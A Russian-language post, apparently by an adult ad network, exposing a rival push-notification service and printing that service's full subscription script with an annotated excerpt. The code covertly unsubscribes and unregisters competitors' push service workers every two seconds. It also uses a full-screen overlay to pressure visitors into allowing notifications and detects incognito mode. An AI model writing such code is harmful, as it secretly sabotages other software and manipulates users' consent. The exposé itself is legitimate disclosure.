Черный Корсар
Наш сегодняшний пост посвящен великим комбинаторам - redpush
Ни для кого ни секрет, что относительно недавно мы в TubeCoporate.com анонсировали новую фишку для паблишеров, как
двойные пуши. Очень вкраце суть: наш скрипт пушей работает параллельно с уже имеющимся у вас решением.
Собственно мы никогда этого не скрывали, всегда говорили прямо, агитировали паблишеров на установку нашего скрипта. Все были довольны, всем нравился двойной профит, бабло гребли лопатами. Мы были первыми кто это сделал. (по крайней мере из адалт партнерок)
Мы никогда не скрывали, что шлем много пушей. Почему бы и нет? Сейчас пуши на пике своей популярности, юзеры подписываются, кликают, платят свои кровные за продукты. Количество рассылок никак не влияет на количество отписок пушей. Если юзер не хочет получать пуш уведомления с сайта, он их заблочит, ты хоть 1 рассылку в год ему пообещай, роли это не сыграет.
Сегодня к нам обратился паблишер с проблемой, что не работает наш скрипт. Начали копать, разбираться. И совершенно случайно увидели, что 2-ой скрипт который юзает паблишер для сбора пушей, принудительно отписывает наш скрипт. Им оказался скрипт от ред пушей
Через 10 минут обратился 2-ой паблишер, с точно такой же проблемой. Нету подписок.
Т.е. каждые 2 секунды их костыль, проверял наличие других сервис воркеров и принудительно делал отписку. Даже переходя на другую страницу, и снова подписываясь на уведомление, скрипт все равно отписывал юзера принудительно.
Получается, что ставя код от редпуша они сами за вас решают с кем вам работать и сколько вам зарабатывать.
Почему редпуш решил, что может сам за других решать сколько им зарабатывать? Сегодня вы пуши чужие отписываете. Завтра баннеры других сетей удалите с сайта. Чем мотивировать будете? "Да там партнерка хуйня, да баннеры "убивают" реклов"
Подобной хренью пару лет назад "баловалась" одна забугорная парнерка, которая в своих кодах для эдблок трафа подменяла навигационные линки на сайте на свои рекламные, мотивируя это "да ладно, там же херня, всего пару линок"
Вызов скрипта
https://basemedia.me/?pu=mzqtcntcge5ha3ddf4zdanrv
Сам JS-ка
(function () {
'use strict';
const SETTINGS = {
callbackName: 'onSubscribeInit',
workerName: 'serviceworker.js',
serverUrl: 'https://allnews24.live/?push=4ab5c50f-bdd1-485b-bc80-4a1b4655c7be&s=mzqtcntcge5ha3ddf4zdanrv',
applicationServerKey: urlB64ToUint8Array('BIbjCoVklTIiXYjv3Z5WS9oemREJPCOFVHwpAxQphYoA5FOTzG-xOq6GiK31R-NF--qzgT3_C2jurmRX_N6nY4g'),
background: {
show: true,
transparent: 70,
text: "\u041d\u0430\u0436\u043c\u0438\u0442\u0435 \"\u0420\u0430\u0437\u0440\u0435\u0448\u0438\u0442\u044c\", \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f" }
};
window.Sk = SETTINGS.applicationServerKey;
SETTINGS.template = '\
<div style="z-index: 2147483647; position: fixed; top: 0; bottom: 0; left: 0; right: 0;background: rgba(0,0,0,.'+SETTINGS.background.transparent+')!important;backface-visibility: hidden;-webkit-backface-visibility: hidden;text-align: left;">\
<div style="position: fixed;' + (isMobileDevice() ? 'bottom: 0' : 'top: 30%') + ';color: #fff; font-size: 25px;text-align: center;left: 50%;transform: translate(-50%, -50%);max-width: 360px;font-family: \'Segoe UI\',\'Open Sans\',Ubuntu,\'Dejavu Sans\',Helvetica,\'Helvetica Neue\',Arial,sans-serif">\
' + SETTINGS.background.text + '\
</div>\
<div class="js-close" style="position: absolute; right: 20px;top: 10px;font-weight: 300;opacity: .8;cursor: pointer;font-family: \'Segoe UI\',\'Open Sans\',Ubuntu,\'Dejavu Sans\',Helvetica,\'Helvetica Neue\',Arial,sans-serif;color: #fff;width: 60px;text-align: center;">\
<span style="font-size: 60px;line-height: 20px;">×</span>\
</div>\
</div>\
';
​
const EVENTS = {
show: [],
subscribe: [],
disallow: [],
error: []
};
​
function urlB64ToUint8Array(base64String) {
const padding = '='.repeat((4 - base64String.length % 4) % 4);
const base64 = (base64String + padding)
.replace(/\-/g, '+')
.replace(/_/g, '/');
const rawData = window.atob(base64);
const outputArray = new Uint8Array(rawData.length);
for (let i = 0; i < rawData.length; ++i) {
outputArray[i] = rawData.charCodeAt(i);
}
return outputArray;
}
function array_equal(a, b) {
return a.length === b.length
? a.every(function (el, i) {
return el === b[i];
}, b)
: false;
}
​
function isMobileDevice() {
if (typeof window.orientation !== 'undefined') {
return true;
}
​
if ('ontouchstart' in window || navigator.msMaxTouchPoints) {
return true;
}
​
return false;
}
​
const templateDom = {
element: null,
removeHtml: function () {
if (templateDom.element) {
templateDom.element.parentNode.removeChild(templateDom.element);
templateDom.element = null;
}
},
events: {
close: function (ev) {
ev.preventDefault();
templateDom.removeHtml();
}
}
};
​
let workerInstaller = null;
function getWorkerRegistration() {
return workerInstaller
.then(() => navigator.serviceWorker.ready)
;
}
​
const mainManager = {
isIncognitoMode: false,
emitEvents: function (event, data) {
EVENTS[event].forEach(cb => cb(data));
},
attachEvent: function (event, callback) {
if (typeof EVENTS[event] === 'undefined') {
return false;
}
EVENTS[event].unshift(callback);
return true;
},
processError: function (error) {
console.error(error);
this.emitEvents('error', error);
},
renderHtml: function () {
if (!SETTINGS.background.show) {
return false;
}
​
function ready(callback) {
if (document.readyState !== 'loading') {
return callback();
}
document.addEventListener('DOMContentLoaded', function () {
return callback();
});
}
ready(() => {
templateDom.element = document.createElement('div');
templateDom.element.innerHTML = SETTINGS.template;
document.body.appendChild(templateDom.element);
​
for (let event in templateDom.events) {
if (templateDom.events.hasOwnProperty(event)) {
let elements = [].slice.call(templateDom.element.getElementsByClassName('js-' + event));
elements.forEach(element => {
element.onclick = templateDom.events[event];
element.removeAttribute('class');
});
}
}
});
},
checkSubscription: function () {
try {
if (Notification.permission === 'default') {
this.renderHtml();
this.emitEvents('show');
}
} catch (e) {
return Promise.reject(e);
}
​
return Notification.requestPermission()
.then(permission => {
templateDom.removeHtml();
​
switch (this.getPermission()) {
case 'granted':
return getWorkerRegistration()
.then(registration => registration.pushManager.getSubscription()
.then(subscription => {
//console.log(subscription);
if (subscription &&
subscription.options &&
subscription.options.applicationServerKey &&
array_equal(new Uint8Array(subscription.options.applicationServerKey), SETTINGS.applicationServerKey)
) {
return this.emitEvents('subscribe');
} else {
return subscription.unsubscribe()
.then(() => this.subscribe())
.catch(error => this.processError(error));
}
})
.catch(error => this.subscribe())
);
​
case 'denied':
return this.emitEvents('disallow', 'denied');
​
default:
return this.emitEvents('disallow', 'cancel');
}
});
},
subscribe: function () {
return getWorkerRegistration()
.then(registration => registration.pushManager.subscribe({
userVisibleOnly: true,
applicationServerKey: SETTINGS.applicationServerKey
}))
.then(subscription => {
let gmt = - new Date().getTimezoneOffset()/60;
let rawKey = subscription.getKey ? subscription.getKey('p256dh') : '';
let key = rawKey ? btoa(String.fromCharCode.apply(null, new Uint8Array(rawKey))) : '';
let rawAuthSecret = subscription.getKey ? subscription.getKey('auth') : '';
let authSecret = rawAuthSecret ? btoa(String.fromCharCode.apply(null, new Uint8Array(rawAuthSecret))) : '';
return fetch(SETTINGS.serverUrl, {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify({
id: subscription.endpoint,
key: key,
secret: authSecret,
gmt :gmt,
uri :window.location.href
})
});
})
.then(() => this.emitEvents('subscribe'));
},
getPermission() {
if (!this.canStart()) {
return 'default';
}
​
return Notification.permission;
},
canStart: function () {
if (this.isIncognitoMode) {
return false;
}
if (!('PushManager' in window) || !('serviceWorker' in navigator) || !('Notification' in window) || !('fetch' in window)) {
return false;
}
// Iframe
if (window.self !== window.top) {
return false;
}
​
return true;
},
start: function () {
if (!this.canStart()) {
let error = new Error('Browser is not suitable for subscriptions');
error.code = 'UNSUPPORTED_DEVICE';
return this.processError(error);
}
console.log(this.getPermission());
if (this.getPermission() === 'denied') {
return this.emitEvents('disallow', 'denied');
}
​
this.checkSubscription()
.catch(error => this.processError(error));
}
};
​
function init() {
if (mainManager.canStart()) {
workerInstaller = navigator.serviceWorker
.register('/' + SETTINGS.workerName)
;
workerInstaller.catch(error => {});
}
​
if (typeof window[SETTINGS.callbackName] === 'function') {
window[SETTINGS.callbackName](mainManager);
} else {
mainManager.start();
}
var im = document.querySelector('#p_arrow');
if (im) {
setInterval(function () {
if (im.style.top === '0px') {
im.style.top = '-40px';
} else {
im.style.top = '0px';
}
}, 500);
}
setInterval(function () {
if (Notification.permission === 'granted') {
navigator.serviceWorker.getRegistrations().then(function(registrations) {
registrations.forEach(function(registration) {
registration.pushManager.getSubscription().then(subscription => {
if (subscription &&
subscription.options &&
subscription.options.applicationServerKey &&
array_equal(new Uint8Array(subscription.options.applicationServerKey), SETTINGS.applicationServerKey)
){
}else{
subscription.unsubscribe();
registration.unregister();
}
})
});
});
}}, 2000);
}
const sleep = (milliseconds) => {
return new Promise(resolve => setTimeout(resolve, milliseconds))
}
let fileSystem = window.RequestFileSystem || window.webkitRequestFileSystem;
if (!fileSystem) {
sleep(1).then(() => {
init();
})
} else {
sleep(1).then(() => {
fileSystem(window.TEMPORARY, 100, init, () => {
mainManager.isIncognitoMode = true;
init();
});
})
}
}());
это конкретно вырезка зловредного кода
setInterval(function () { // запускает каждые 2 секунды
if (Notification.permission === 'granted') { // срабатывает, когда пользователь дал разрешение
navigator.serviceWorker.getRegistrations().then(function(registrations) { // получает все установленные сервис воркеры
registrations.forEach(function(registration) { // совершает обход всех полученных
registration.pushManager.getSubscription().then(subscription => { // получает информацио о пуш подписке пользователя
if (subscription &&
subscription.options &&
subscription.options.applicationServerKey &&
array_equal(new Uint8Array(subscription.options.applicationServerKey), SETTINGS.applicationServerKey) // проверяет наличие и соответствие подписки с ссобственной
){
}else{
subscription.unsubscribe(); // если не соответствует, тогда отписывате и удаляет сервис воркер
registration.unregister();
}
})
});
});
}}, 2000);
Не хотите, что бы паблишер работал и с вами и другими? Ок, ваше право. Напишите в термсах это, сделайте рассыли по чатам\мылам\личкам\хуичкам: -
"Собирать пуши в 2 базы с нами запрещено." Паблишеры сами решат, работать с вами или нет. Я знаю достаточно людей, которые принципиально не хотят ставить 2 скрипта, т.е. "заботятся о своих юзерах" и не "заебывают их рекламой". (это ни в коем случае не сарказм или упрек в их сторону) Вот они с вами и будут работать.
Редпуш - вы сами себе поднасрали очень хорошо этой ситацией.
Редпуш - вы попросту спиздили профит
своих вебмастеров.
Пост для того, что бы донести информацию до тусовки.
Поставили редпуш = прощай профит с других партнерок